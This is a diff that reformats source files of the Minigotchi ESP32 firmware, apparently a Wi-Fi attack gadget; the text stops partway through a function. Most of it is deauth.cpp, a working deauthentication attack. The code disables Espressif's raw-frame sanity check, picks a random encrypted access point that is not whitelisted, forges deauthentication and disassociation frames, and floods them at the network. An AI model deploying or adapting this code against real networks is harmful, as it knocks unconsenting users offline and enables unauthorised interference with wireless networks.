b/minigotchi-ESP32/config.cpp @@ -115,65 +115,65 @@ std::string Config::version = "3.5.2-beta"; * Loads configuration values from NVS */ void Config::loadConfig() { - nvs_handle_t cfgHandle; - esp_err_t err = nvs_open("storage", NVS_READWRITE, &cfgHandle); + nvs_handle_t cfgHandle; + esp_err_t err = nvs_open("storage", NVS_READWRITE, &cfgHandle); + if (err == ESP_OK) { + // load Config::configured + uint8_t configured = 0; + err = nvs_get_u8(cfgHandle, "configured", &configured); if (err == ESP_OK) { - // load Config::configured - uint8_t configured = 0; - err = nvs_get_u8(cfgHandle, "configured", &configured); - if (err == ESP_OK) { - Config::configured = (configured == 1); - } + Config::configured = (configured == 1); + } - // load Config::whitelist - size_t required_size = 0; - err = nvs_get_str(cfgHandle, "whitelist", NULL, &required_size); - if (err == ESP_OK && required_size > 0) { - char *whitelistStr = (char *)malloc(required_size); - err = nvs_get_str(cfgHandle, "whitelist", whitelistStr, &required_size); - if (err == ESP_OK) { - // convert back into a vector - Config::whitelist.clear(); - std::stringstream ss(whitelistStr); - std::string item; - while (std::getline(ss, item, ',')) { - Config::whitelist.push_back(item); - } - } - free(whitelistStr); + // load Config::whitelist + size_t required_size = 0; + err = nvs_get_str(cfgHandle, "whitelist", NULL, &required_size); + if (err == ESP_OK && required_size > 0) { + char *whitelistStr = (char *)malloc(required_size); + err = nvs_get_str(cfgHandle, "whitelist", whitelistStr, &required_size); + if (err == ESP_OK) { + // convert back into a vector + Config::whitelist.clear(); + std::stringstream ss(whitelistStr); + std::string item; + while (std::getline(ss, item, ',')) { + Config::whitelist.push_back(item); } - - nvs_close(cfgHandle); + } + free(whitelistStr); } + + nvs_close(cfgHandle); + } } /** * Saves configuration to NVS */ void Config::saveConfig() { - nvs_handle_t cfgHandle; - esp_err_t err = nvs_open("storage", NVS_READWRITE, &cfgHandle); - if (err == ESP_OK) { - // save Config::configured - uint8_t configured = Config::configured ? 1 : 0; - err = nvs_set_u8(cfgHandle, "configured", configured); - ESP_ERROR_CHECK(err); - - // save Config::whitelist - std::string whitelistStr; - for (size_t i = 0; i < Config::whitelist.size(); ++i) { - whitelistStr += Config::whitelist[i]; - if (i < Config::whitelist.size() - 1) { - whitelistStr += ","; - } - } - err = nvs_set_str(cfgHandle, "whitelist", whitelistStr.c_str()); - ESP_ERROR_CHECK(err); - - err = nvs_commit(cfgHandle); - ESP_ERROR_CHECK(err); - nvs_close(cfgHandle); + nvs_handle_t cfgHandle; + esp_err_t err = nvs_open("storage", NVS_READWRITE, &cfgHandle); + if (err == ESP_OK) { + // save Config::configured + uint8_t configured = Config::configured ? 1 : 0; + err = nvs_set_u8(cfgHandle, "configured", configured); + ESP_ERROR_CHECK(err); + + // save Config::whitelist + std::string whitelistStr; + for (size_t i = 0; i < Config::whitelist.size(); ++i) { + whitelistStr += Config::whitelist[i]; + if (i < Config::whitelist.size() - 1) { + whitelistStr += ","; + } } + err = nvs_set_str(cfgHandle, "whitelist", whitelistStr.c_str()); + ESP_ERROR_CHECK(err); + + err = nvs_commit(cfgHandle); + ESP_ERROR_CHECK(err); + nvs_close(cfgHandle); + } } /** developer note: @@ -188,13 +188,9 @@ void Config::saveConfig() { * @param min Lowest number * @param max Highest number */ -int Config::random(int min, int max) { - return min + rand() % (max - min + 1); -} +int Config::random(int min, int max) { return min + rand() % (max - min + 1); } /** * Checks current uptime */ -int Config::time() { - return millis() / 1000; -} +int Config::time() { return millis() / 1000; } diff --git a/minigotchi-ESP32/config.h b/minigotchi-ESP32/config.h index 1090c26..52c4ea8 100644 --- a/minigotchi-ESP32/config.h +++ b/minigotchi-ESP32/config.h @@ -38,61 +38,61 @@ class Config { public: - static bool deauth; - static bool advertise; - static bool scan; - static bool spam; - static const char *ssid; - static const char *pass; - static int shortDelay; - static int longDelay; - static bool parasite; - static bool display; - static std::string screen; - static int baud; - static int channel; - static std::vector whitelist; - static String happy; - static String sad; - static String broken; - static String intense; - static String looking1; - static String looking2; - static String neutral; - static String sleeping; - static int epoch; - static std::string face; - static std::string identity; - static std::string name; - static int ap_ttl; - static bool associate; - static int bored_num_epochs; - static int channels[13]; - static int excited_num_epochs; - static int hop_recon_time; - static int max_inactive_scale; - static int max_interactions; - static int max_misses_for_recon; - static int min_recon_time; - static int min_rssi; - static int recon_inactive_multiplier; - static int recon_time; - static int sad_num_epochs; - static int sta_ttl; - static int pwnd_run; - static int pwnd_tot; - static std::string session_id; - static int uptime; - static std::string version; - static wifi_init_config_t wifiCfg; - static wifi_country_t ctryCfg; - static bool configured; - static void loadConfig(); - static void saveConfig(); + static bool deauth; + static bool advertise; + static bool scan; + static bool spam; + static const char *ssid; + static const char *pass; + static int shortDelay; + static int longDelay; + static bool parasite; + static bool display; + static std::string screen; + static int baud; + static int channel; + static std::vector whitelist; + static String happy; + static String sad; + static String broken; + static String intense; + static String looking1; + static String looking2; + static String neutral; + static String sleeping; + static int epoch; + static std::string face; + static std::string identity; + static std::string name; + static int ap_ttl; + static bool associate; + static int bored_num_epochs; + static int channels[13]; + static int excited_num_epochs; + static int hop_recon_time; + static int max_inactive_scale; + static int max_interactions; + static int max_misses_for_recon; + static int min_recon_time; + static int min_rssi; + static int recon_inactive_multiplier; + static int recon_time; + static int sad_num_epochs; + static int sta_ttl; + static int pwnd_run; + static int pwnd_tot; + static std::string session_id; + static int uptime; + static std::string version; + static wifi_init_config_t wifiCfg; + static wifi_country_t ctryCfg; + static bool configured; + static void loadConfig(); + static void saveConfig(); private: - static int random(int min, int max); - static int time(); + static int random(int min, int max); + static int time(); }; #endif // CONFIG_H diff --git a/minigotchi-ESP32/deauth.cpp b/minigotchi-ESP32/deauth.cpp index ea3761d..767a462 100644 --- a/minigotchi-ESP32/deauth.cpp +++ b/minigotchi-ESP32/deauth.cpp @@ -33,8 +33,8 @@ // for some dumb reason espressif really doesn't like us sending deauth frames, // so i'll need to make this fix extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, - int32_t arg3) { - return 0; + int32_t arg3) { + return 0; } // default values before we start @@ -55,15 +55,10 @@ Mood &Deauth::mood = Mood::getInstance(); * */ -uint8_t Deauth::deauthTemp[26] = { - 0xC0, 0x00, - 0x00, 0x00, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x00, 0x00, - 0x01, 0x00 -}; +uint8_t Deauth::deauthTemp[26] = {0xC0, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, + 0xFF, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0x00, 0x00, 0x01, 0x00}; uint8_t Deauth::deauthFrame[26]; uint8_t Deauth::disassociateFrame[26]; @@ -74,34 +69,34 @@ uint8_t Deauth::broadcastAddr[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; * @param bssids SSIDs/BSSIDs to whitelist */ void Deauth::add(const std::string &bssids) { - std::stringstream ss(bssids); - std::string token; - - // seperate info and whitelist - while (std::getline(ss, token, ',')) { - // trim out whitespace - token.erase(0, token.find_first_not_of(" \t\r\n")); - token.erase(token.find_last_not_of(" \t\r\n") + 1); - - // add to whitelist - Serial.print(mood.getNeutral() + " Adding "); - Serial.print(token.c_str()); - Serial.println(" to the whitelist"); - Display::updateDisplay(mood.getNeutral(), "Adding " + - (String)token.c_str() + - " to the whitelist"); - delay(Config::shortDelay); - whitelist.push_back(token.c_str()); - } + std::stringstream ss(bssids); + std::string token; + + // seperate info and whitelist + while (std::getline(ss, token, ',')) { + // trim out whitespace + token.erase(0, token.find_first_not_of(" \t\r\n")); + token.erase(token.find_last_not_of(" \t\r\n") + 1); + + // add to whitelist + Serial.print(mood.getNeutral() + " Adding "); + Serial.print(token.c_str()); + Serial.println(" to the whitelist"); + Display::updateDisplay(mood.getNeutral(), "Adding " + + (String)token.c_str() + + " to the whitelist"); + delay(Config::shortDelay); + whitelist.push_back(token.c_str()); + } } /** * Adds everything to the whitelist */ void Deauth::list() { - for (const auto &bssid : Config::whitelist) { - Deauth::add(bssid); - } + for (const auto &bssid : Config::whitelist) { + Deauth::add(bssid); + } } /** @@ -111,10 +106,10 @@ void Deauth::list() { * @param sys_seq Ignore this, just make it false */ bool Deauth::send(uint8_t *buf, uint16_t len, bool sys_seq) { - esp_err_t err = esp_wifi_80211_tx(WIFI_IF_STA, buf, len, sys_seq); - delay(102); + esp_err_t err = esp_wifi_80211_tx(WIFI_IF_STA, buf, len, sys_seq); + delay(102); - return (err == ESP_OK); + return (err == ESP_OK); } /** @@ -124,12 +119,12 @@ bool Deauth::send(uint8_t *buf, uint16_t len, bool sys_seq) { * @param mac Mac address to check */ bool Deauth::broadcast(uint8_t *mac) { - for (uint8_t i = 0; i < 6; i++) { - if (mac[i] != broadcastAddr[i]) - return false; - } + for (uint8_t i = 0; i < 6; i++) { + if (mac[i] != broadcastAddr[i]) + return false; + } - return true; + return true; } /** @@ -137,9 +132,9 @@ bool Deauth::broadcast(uint8_t *mac) { * @param mac Address to print */ void Deauth::printMac(uint8_t *mac) { - String macStr = printMacStr(mac); - Serial.println(macStr); - Display::updateDisplay(mood.getNeutral(), "AP BSSID: " + macStr); + String macStr = printMacStr(mac); + Serial.println(macStr); + Display::updateDisplay(mood.getNeutral(), "AP BSSID: " + macStr); } /** @@ -147,10 +142,10 @@ void Deauth::printMac(uint8_t *mac) { * @param mac Mac to use */ String Deauth::printMacStr(uint8_t *mac) { - char buf[18]; // 17 for MAC, 1 for null terminator - snprintf(buf, sizeof(buf), "%02x:%02x:%02x:%02x:%02x:%02x", mac[0], mac[1], - mac[2], mac[3], mac[4], mac[5]); - return String(buf); + char buf[18]; // 17 for MAC, 1 for null terminator + snprintf(buf, sizeof(buf), "%02x:%02x:%02x:%02x:%02x:%02x", mac[0], mac[1], + mac[2], mac[3], mac[4], mac[5]); + return String(buf); } /** @@ -158,334 +153,334 @@ String Deauth::printMacStr(uint8_t *mac) { * was successful */ bool Deauth::select() { - // reset values - Deauth::randomAP = ""; - Deauth::randomIndex = -1; - - Parasite::sendDeauthStatus(START_SCAN); - - // cool animation, skip if parasite mode - if (!Config::parasite) { - for (int i = 0; i < 5; ++i) { - Serial.println(mood.getLooking1() + " Scanning for APs."); - Display::updateDisplay(mood.getLooking1(), "Scanning for APs."); - delay(Config::shortDelay); - Serial.println(mood.getLooking2() + " Scanning for APs.."); - Display::updateDisplay(mood.getLooking2(), "Scanning for APs.."); - delay(Config::shortDelay); - Serial.println(mood.getLooking1() + " Scanning for APs..."); - Display::updateDisplay(mood.getLooking1(), "Scanning for APs..."); - delay(Config::shortDelay); - Serial.println(" "); - delay(Config::shortDelay); - } - delay(Config::longDelay); + // reset values + Deauth::randomAP = ""; + Deauth::randomIndex = -1; + + Parasite::sendDeauthStatus(START_SCAN); + + // cool animation, skip if parasite mode + if (!Config::parasite) { + for (int i = 0; i < 5; ++i) { + Serial.println(mood.getLooking1() + " Scanning for APs."); + Display::updateDisplay(mood.getLooking1(), "Scanning for APs."); + delay(Config::shortDelay); + Serial.println(mood.getLooking2() + " Scanning for APs.."); + Display::updateDisplay(mood.getLooking2(), "Scanning for APs.."); + delay(Config::shortDelay); + Serial.println(mood.getLooking1() + " Scanning for APs..."); + Display::updateDisplay(mood.getLooking1(), "Scanning for APs..."); + delay(Config::shortDelay); + Serial.println(" "); + delay(Config::shortDelay); } - - // stop and scan - Minigotchi::monStop(); - - int apCount = 0; - // If a parasite channel is set, then we want to focus on that channel - // Otherwise go off on our own and scan for whatever is out there - if (Parasite::channel > 0) { - apCount = WiFi.scanNetworks(false, false, Parasite::channel); - } else { - apCount = WiFi.scanNetworks(); + delay(Config::longDelay); + } + + // stop and scan + Minigotchi::monStop(); + + int apCount = 0; + // If a parasite channel is set, then we want to focus on that channel + // Otherwise go off on our own and scan for whatever is out there + if (Parasite::channel > 0) { + apCount = WiFi.scanNetworks(false, false, Parasite::channel); + } else { + apCount = WiFi.scanNetworks(); + } + + if (apCount > 0 && Deauth::randomIndex == -1) { + Deauth::randomIndex = random(apCount); + Deauth::randomAP = WiFi.SSID(Deauth::randomIndex); + uint8_t encType = WiFi.encryptionType(Deauth::randomIndex); + + Serial.print(mood.getNeutral() + " Selected random AP: "); + Serial.println(randomAP.c_str()); + Serial.println(" "); + Display::updateDisplay(mood.getNeutral(), + "Selected random AP: " + randomAP); + delay(Config::shortDelay); + + if (encType == WIFI_AUTH_OPEN || encType == -1) { + Serial.println( + mood.getNeutral() + + " Selected AP is not encrypted. Skipping deauthentication..."); + Display::updateDisplay( + mood.getNeutral(), + "Selected AP is not encrypted. Skipping deauthentication..."); + delay(Config::shortDelay); + Parasite::sendDeauthStatus(SKIPPING_UNENCRYPTED); + return false; } - if (apCount > 0 && Deauth::randomIndex == -1) { - Deauth::randomIndex = random(apCount); - Deauth::randomAP = WiFi.SSID(Deauth::randomIndex); - uint8_t encType = WiFi.encryptionType(Deauth::randomIndex); - - Serial.print(mood.getNeutral() + " Selected random AP: "); - Serial.println(randomAP.c_str()); - Serial.println(" "); - Display::updateDisplay(mood.getNeutral(), - "Selected random AP: " + randomAP); - delay(Config::shortDelay); - - if (encType == WIFI_AUTH_OPEN || encType == -1) { - Serial.println( - mood.getNeutral() + - " Selected AP is not encrypted. Skipping deauthentication..."); - Display::updateDisplay( - mood.getNeutral(), - "Selected AP is not encrypted. Skipping deauthentication..."); - delay(Config::shortDelay); - Parasite::sendDeauthStatus(SKIPPING_UNENCRYPTED); - return false; - } - - // check for ap in whitelist - if (std::find(whitelist.begin(), whitelist.end(), randomAP) != - whitelist.end()) { - Serial.println(mood.getNeutral() + - " Selected AP is in the whitelist. Skipping " - "deauthentication..."); - Display::updateDisplay( - mood.getNeutral(), - "Selected AP is in the whitelist. Skipping deauthentication..."); - delay(Config::shortDelay); - Parasite::sendDeauthStatus(SKIPPING_WHITELIST); - return false; - } + // check for ap in whitelist + if (std::find(whitelist.begin(), whitelist.end(), randomAP) != + whitelist.end()) { + Serial.println(mood.getNeutral() + + " Selected AP is in the whitelist. Skipping " + "deauthentication..."); + Display::updateDisplay( + mood.getNeutral(), + "Selected AP is in the whitelist. Skipping deauthentication..."); + delay(Config::shortDelay); + Parasite::sendDeauthStatus(SKIPPING_WHITELIST); + return false; + } - /** developer note: - * - * here we will create the deauth frame using the header, - * as we find the AP in question we also generate the required information - * for it as well... - * - */ - - // clear out exisitng frame... - std::fill(std::begin(Deauth::deauthFrame), std::end(Deauth::deauthFrame), - 0); - std::fill(std::begin(Deauth::disassociateFrame), - std::end(Deauth::disassociateFrame), 0); - - // copy template - std::copy(Deauth::deauthTemp, - Deauth::deauthTemp + sizeof(Deauth::deauthTemp), - Deauth::deauthFrame); - std::copy(Deauth::deauthTemp, - Deauth::deauthTemp + sizeof(Deauth::deauthTemp), - Deauth::disassociateFrame); - - Deauth::deauthFrame[0] = 0xC0; // type - Deauth::deauthFrame[1] = 0x00; // subtype - Deauth::deauthFrame[2] = 0x00; // duration (SDK takes care of that) - Deauth::deauthFrame[3] = 0x00; // duration (SDK takes care of that) - - Deauth::disassociateFrame[0] = 0xA0; // type - Deauth::disassociateFrame[1] = 0x00; // subtype - Deauth::disassociateFrame[2] = 0x00; // duration (SDK takes care of that) - Deauth::disassociateFrame[3] = 0x00; // duration (SDK takes care of that) - - // bssid - uint8_t *apBssid = WiFi.BSSID(Deauth::randomIndex); - - /** developer note: - * - * addr1: reciever addr - * addr2: sender addr - * addr3: filtering addr - * - */ - - // copy our mac(s) to header - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::deauthFrame + 4); - std::copy(apBssid, apBssid + 6, Deauth::deauthFrame + 10); - std::copy(apBssid, apBssid + 6, Deauth::deauthFrame + 16); - - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::disassociateFrame + 4); - std::copy(apBssid, apBssid + 6, Deauth::disassociateFrame + 10); - std::copy(apBssid, apBssid + 6, Deauth::disassociateFrame + 16); - - // checks if this is a broadcast - if (!broadcast(Deauth::broadcastAddr)) { - // build deauth - Deauth::deauthFrame[0] = 0xC0; // type - Deauth::deauthFrame[1] = 0x00; // subtype - Deauth::deauthFrame[2] = 0x00; // duration (SDK takes care of that) - Deauth::deauthFrame[3] = 0x00; // duration (SDK takes care of that) - - // reason - Deauth::deauthFrame[24] = 0x01; // reason: unspecified - - std::copy(apBssid, apBssid + sizeof(apBssid), Deauth::deauthFrame + 4); - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::deauthFrame + 10); - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::deauthFrame + 16); - - // build disassocaition - Deauth::disassociateFrame[0] = 0xA0; // type - Deauth::disassociateFrame[1] = 0x00; // subtype - Deauth::disassociateFrame[2] = 0x00; // duration (SDK takes care of that) - Deauth::disassociateFrame[3] = 0x00; // duration (SDK takes care of that) - - std::copy(apBssid, apBssid + sizeof(apBssid), - Deauth::disassociateFrame + 4); - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::disassociateFrame + 10); - std::copy(Deauth::broadcastAddr, - Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), - Deauth::disassociateFrame + 16); - } + /** developer note: + * + * here we will create the deauth frame using the header, + * as we find the AP in question we also generate the required information + * for it as well... + * + */ + + // clear out exisitng frame... + std::fill(std::begin(Deauth::deauthFrame), std::end(Deauth::deauthFrame), + 0); + std::fill(std::begin(Deauth::disassociateFrame), + std::end(Deauth::disassociateFrame), 0); + + // copy template + std::copy(Deauth::deauthTemp, + Deauth::deauthTemp + sizeof(Deauth::deauthTemp), + Deauth::deauthFrame); + std::copy(Deauth::deauthTemp, + Deauth::deauthTemp + sizeof(Deauth::deauthTemp), + Deauth::disassociateFrame); + + Deauth::deauthFrame[0] = 0xC0; // type + Deauth::deauthFrame[1] = 0x00; // subtype + Deauth::deauthFrame[2] = 0x00; // duration (SDK takes care of that) + Deauth::deauthFrame[3] = 0x00; // duration (SDK takes care of that) + + Deauth::disassociateFrame[0] = 0xA0; // type + Deauth::disassociateFrame[1] = 0x00; // subtype + Deauth::disassociateFrame[2] = 0x00; // duration (SDK takes care of that) + Deauth::disassociateFrame[3] = 0x00; // duration (SDK takes care of that) + + // bssid + uint8_t *apBssid = WiFi.BSSID(Deauth::randomIndex); + + /** developer note: + * + * addr1: reciever addr + * addr2: sender addr + * addr3: filtering addr + * + */ + + // copy our mac(s) to header + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::deauthFrame + 4); + std::copy(apBssid, apBssid + 6, Deauth::deauthFrame + 10); + std::copy(apBssid, apBssid + 6, Deauth::deauthFrame + 16); + + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::disassociateFrame + 4); + std::copy(apBssid, apBssid + 6, Deauth::disassociateFrame + 10); + std::copy(apBssid, apBssid + 6, Deauth::disassociateFrame + 16); + + // checks if this is a broadcast + if (!broadcast(Deauth::broadcastAddr)) { + // build deauth + Deauth::deauthFrame[0] = 0xC0; // type + Deauth::deauthFrame[1] = 0x00; // subtype + Deauth::deauthFrame[2] = 0x00; // duration (SDK takes care of that) + Deauth::deauthFrame[3] = 0x00; // duration (SDK takes care of that) + + // reason + Deauth::deauthFrame[24] = 0x01; // reason: unspecified + + std::copy(apBssid, apBssid + sizeof(apBssid), Deauth::deauthFrame + 4); + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::deauthFrame + 10); + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::deauthFrame + 16); + + // build disassocaition + Deauth::disassociateFrame[0] = 0xA0; // type + Deauth::disassociateFrame[1] = 0x00; // subtype + Deauth::disassociateFrame[2] = 0x00; // duration (SDK takes care of that) + Deauth::disassociateFrame[3] = 0x00; // duration (SDK takes care of that) + + std::copy(apBssid, apBssid + sizeof(apBssid), + Deauth::disassociateFrame + 4); + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::disassociateFrame + 10); + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::disassociateFrame + 16); + } - Serial.print(mood.getNeutral() + " Full AP SSID: "); - Serial.println(WiFi.SSID(Deauth::randomIndex)); - Display::updateDisplay(mood.getNeutral(), - "Full AP SSID: " + WiFi.SSID(Deauth::randomIndex)); - - Serial.print(mood.getNeutral() + " AP Encryption: "); - Serial.println(WiFi.encryptionType(Deauth::randomIndex)); - Display::updateDisplay( - mood.getNeutral(), - "AP Encryption: " + (String)WiFi.encryptionType(Deauth::randomIndex)); - - Serial.print(mood.getNeutral() + " AP RSSI: "); - Serial.println(WiFi.RSSI(Deauth::randomIndex)); - Display::updateDisplay(mood.getNeutral(), - "AP RSSI: " + + Serial.print(mood.getNeutral() + " Full AP SSID: "); + Serial.println(WiFi.SSID(Deauth::randomIndex)); + Display::updateDisplay(mood.getNeutral(), + "Full AP SSID: " + WiFi.SSID(Deauth::randomIndex)); + + Serial.print(mood.getNeutral() + " AP Encryption: "); + Serial.println(WiFi.encryptionType(Deauth::randomIndex)); + Display::updateDisplay( + mood.getNeutral(), + "AP Encryption: " + (String)WiFi.encryptionType(Deauth::randomIndex)); + + Serial.print(mood.getNeutral() + " AP RSSI: "); + Serial.println(WiFi.RSSI(Deauth::randomIndex)); + Display::updateDisplay(mood.getNeutral(), + "AP RSSI: " + (String)WiFi.RSSI(Deauth::randomIndex)); - Serial.print(mood.getNeutral() + " AP BSSID: "); - printMac(apBssid); + Serial.print(mood.getNeutral() + " AP BSSID: "); + printMac(apBssid); - Serial.print(mood.getNeutral() + " AP Channel: "); - Serial.println(WiFi.channel(Deauth::randomIndex)); - Display::updateDisplay(mood.getNeutral(), - "AP Channel: " + + Serial.print(mood.getNeutral() + " AP Channel: "); + Serial.println(WiFi.channel(Deauth::randomIndex)); + Display::updateDisplay(mood.getNeutral(), + "AP Channel: " + (String)WiFi.channel(Deauth::randomIndex)); - Serial.println(" "); - delay(Config::longDelay); + Serial.println(" "); + delay(Config::longDelay); - Parasite::sendDeauthStatus(PICKED_AP, Deauth::randomAP.c_str(), - WiFi.channel(Deauth::randomIndex)); + Parasite::sendDeauthStatus(PICKED_AP, Deauth::randomAP.c_str(), + WiFi.channel(Deauth::randomIndex)); - return true; - } else if (apCount < 0) { - Serial.println(mood.getSad() + - " I don't know what you did, but you screwed up!"); - Serial.println(" "); - Display::updateDisplay(mood.getSad(), "You screwed up somehow!"); + return true; + } else if (apCount < 0) { + Serial.println(mood.getSad() + + " I don't know what you did, but you screwed up!"); + Serial.println(" "); + Display::updateDisplay(mood.getSad(), "You screwed up somehow!"); - Parasite::sendDeauthStatus(DEAUTH_SCAN_ERROR); + Parasite::sendDeauthStatus(DEAUTH_SCAN_ERROR); - delay(Config::shortDelay); - } else { - // well ur fucked. - Serial.println(mood.getSad() + " No access points found."); - Serial.println(" "); - Display::updateDisplay(mood.getSad(), "No access points found."); + delay(Config::shortDelay); + } else { + // well ur fucked. + Serial.println(mood.getSad() + " No access points found."); + Serial.println(" "); + Display::updateDisplay(mood.getSad(), "No access points found."); - Parasite::sendDeauthStatus(NO_APS); + Parasite::sendDeauthStatus(NO_APS); - delay(Config::shortDelay); - } - return false; + delay(Config::shortDelay); + } + return false; } /** * Full deauthentication attack */ void Deauth::deauth() { - if (Config::deauth) { - // select AP - if (Deauth::select()) { - if (randomAP.length() > 0) { - Serial.println( - mood.getIntense() + - " Starting deauthentication attack on the selected AP..."); - Serial.println(" "); - Display::updateDisplay(mood.getIntense(), - "Begin deauth-attack on AP..."); - delay(Config::shortDelay); - // define the attack - if (!running) { - start(); - } else { - Serial.println(mood.getNeutral() + " Attack is already running."); - Serial.println(" "); - Display::updateDisplay(mood.getNeutral(), - "Attack is already running."); - delay(Config::shortDelay); - } - } else { - // ok why did you modify the deauth function? i literally told you to - // not do that... - Serial.println(mood.getBroken() + - " No access point selected. Use select() first."); - Serial.println(mood.getNeutral() + " Told you so!"); - Serial.println(" "); - Display::updateDisplay(mood.getBroken(), - "No access point selected. Use select() first."); - delay(Config::shortDelay); - Display::updateDisplay(mood.getNeutral(), "Told you so!"); - delay(Config::shortDelay); - return; - } + if (Config::deauth) { + // select AP + if (Deauth::select()) { + if (randomAP.length() > 0) { + Serial.println( + mood.getIntense() + + " Starting deauthentication attack on the selected AP..."); + Serial.println(" "); + Display::updateDisplay(mood.getIntense(), + "Begin deauth-attack on AP..."); + delay(Config::shortDelay); + // define the attack + if (!running) { + start(); + } else { + Serial.println(mood.getNeutral() + " Attack is already running."); + Serial.println(" "); + Display::updateDisplay(mood.getNeutral(), + "Attack is already running."); + delay(Config::shortDelay); } - } else { - // do nothing if deauthing is disabled + } else { + // ok why did you modify the deauth function? i literally told you to + // not do that... + Serial.println(mood.getBroken() + + " No access point selected. Use select() first."); + Serial.println(mood.getNeutral() + " Told you so!"); + Serial.println(" "); + Display::updateDisplay(mood.getBroken(), + "No access point selected. Use select() first."); + delay(Config::shortDelay); + Display::updateDisplay(mood.getNeutral(), "Told you so!"); + delay(Config::shortDelay); + return; + } } + } else { + // do nothing if deauthing is disabled + } } /** * Starts deauth attack */ void Deauth::start() { - running = true; - int deauthFrameSize = sizeof(deauthFrame); - int disassociateFrameSize = sizeof(disassociateFrame); - int packets = 0; - unsigned long startTime = millis(); - - // packet calculation - int basePacketCount = 150; - int rssi = WiFi.RSSI(Deauth::randomIndex); - int numDevices = WiFi.softAPgetStationNum(); - - int packetCount = basePacketCount + (numDevices * 10); - if (rssi > -50) { - packetCount /= 2; // strong signal - } else if (rssi < -80) { - packetCount *= 2; // weak signal - } - - Parasite::sendDeauthStatus(START_DEAUTH, Deauth::randomAP.c_str(), - WiFi.channel(Deauth::randomIndex)); - - // send the deauth 150 times(ur cooked if they find out) - for (int i = 0; i < packetCount; ++i) { - if (Deauth::send(deauthFrame, deauthFrameSize, 0) && - Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { - packets++; - float pps = packets / (float)(millis() - startTime) * 1000; - - // show pps - if (!isinf(pps)) { - Serial.print(mood.getIntense() + " Packets per second: "); - Serial.print(pps); - Serial.print(" pkt/s"); - Serial.println(" (AP:" + randomAP + ")"); - Display::updateDisplay(mood.getIntense(), - "Packets per second: " + (String)pps + " pkt/s" + - " (AP:" + randomAP + ")"); - } - } else if (!Deauth::send(deauthFrame, deauthFrameSize, 0) && - !Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { - Serial.println(mood.getBroken() + " Both packets failed to send!"); - Display::updateDisplay(mood.getBroken(), "Both packets failed to send!"); - } else if (!Deauth::send(deauthFrame, deauthFrameSize, 0) && - Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { - Serial.println(mood.getBroken() + " Deauthentication failed to send!"); - Display::updateDisplay(mood.getBroken(), "Deauth failed to send!"); - } else if (Deauth::send(deauthFrame, deauthFrameSize, 0) && - !Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { - Serial.println(mood.getBroken() + " Disassociation failed to send!"); - Display::updateDisplay(mood.getBroken(), "Disassoc failed to send!"); - } else { - Serial.println(mood.getBroken() + " Unable to calculate pkt/s!"); - Display::updateDisplay(mood.getBroken(), "Unable to calculate pkt/s!"); - } + running = true; + int deauthFrameSize = sizeof(deauthFrame); + int disassociateFrameSize = sizeof(disassociateFrame); + int packets = 0; + unsigned long startTime = millis(); + + // packet calculation + int basePacketCount = 150; + int rssi = WiFi.RSSI(Deauth::randomIndex); + int numDevices = WiFi.softAPgetStationNum(); + + int packetCount = basePacketCount + (numDevices * 10); + if (rssi > -50) { + packetCount /= 2; // strong signal + } else if (rssi < -80) { + packetCount *= 2; // weak signal + } + + Parasite::sendDeauthStatus(START_DEAUTH, Deauth::randomAP.c_str(), + WiFi.channel(Deauth::randomIndex)); + + // send the deauth 150 times(ur cooked if they find out) + for (int i = 0; i < packetCount; ++i) { + if (Deauth::send(deauthFrame, deauthFrameSize, 0) && + Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { + packets++; + float pps = packets / (float)(millis() - startTime) * 1000; + + // show pps + if (!isinf(pps)) { + Serial.print(mood.getIntense() + " Packets per second: "); + Serial.print(pps); + Serial.print(" pkt/s"); + Serial.println(" (AP:" + randomAP + ")"); + Display::updateDisplay(mood.getIntense(), + "Packets per second: " + (String)pps + " pkt/s" + + " (AP:" + randomAP + ")"); + } + } else if (!Deauth::send(deauthFrame, deauthFrameSize, 0) && + !Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { + Serial.println(mood.getBroken() + " Both packets failed to send!"); + Display::updateDisplay(mood.getBroken(), "Both packets failed to send!"); + } else if (!Deauth::send(deauthFrame, deauthFrameSize, 0) && + Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { + Serial.println(mood.getBroken() + " Deauthentication failed to send!"); + Display::updateDisplay(mood.getBroken(), "Deauth failed to send!"); + } else if (Deauth::send(deauthFrame, deauthFrameSize, 0) && + !Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { + Serial.println(mood.getBroken() + " Disassociation failed to send!"); + Display::updateDisplay(mood.getBroken(), "Disassoc failed to send!"); + } else { + 